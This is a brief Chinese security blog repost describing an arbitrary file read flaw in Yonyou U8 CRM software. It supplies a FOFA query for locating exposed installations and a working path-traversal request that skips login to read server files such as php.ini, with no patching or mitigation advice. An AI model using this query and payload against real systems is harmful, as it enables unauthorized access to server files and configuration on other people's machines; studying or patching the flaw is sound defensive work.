用友 U8 CRM 任意文件读取漏洞用友漏洞利用

2024年8月19日22:03:51评论16 views字数 210阅读0分42秒阅读模式

前言‍‍‍‍‍‍‍‍

漏洞复现‍‍‍‍‍

fofa查询语句：

fofa：app="用友U8CRM"

利用脚本进行检测：‍‍‍‍‍

‍

用友 U8 CRM 任意文件读取漏洞用友漏洞利用

手工复现，访问路径即可：

/pub/downloadfile.php?DontCheckLogin=1&url=/datacache/../../../apache/php.ini

用友 U8 CRM 任意文件读取漏洞用友漏洞利用

原文始发于微信公众号（Undoubted Security）：【漏洞分享】用友 U8 CRM 任意文件读取漏洞用友漏洞利用

本文由 admin 发表于 2024年8月19日22:03:51
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
用友 U8 CRM 任意文件读取漏洞用友漏洞利用https://cn-sec.com/archives/3078075.html

Metabase任意文件读取漏洞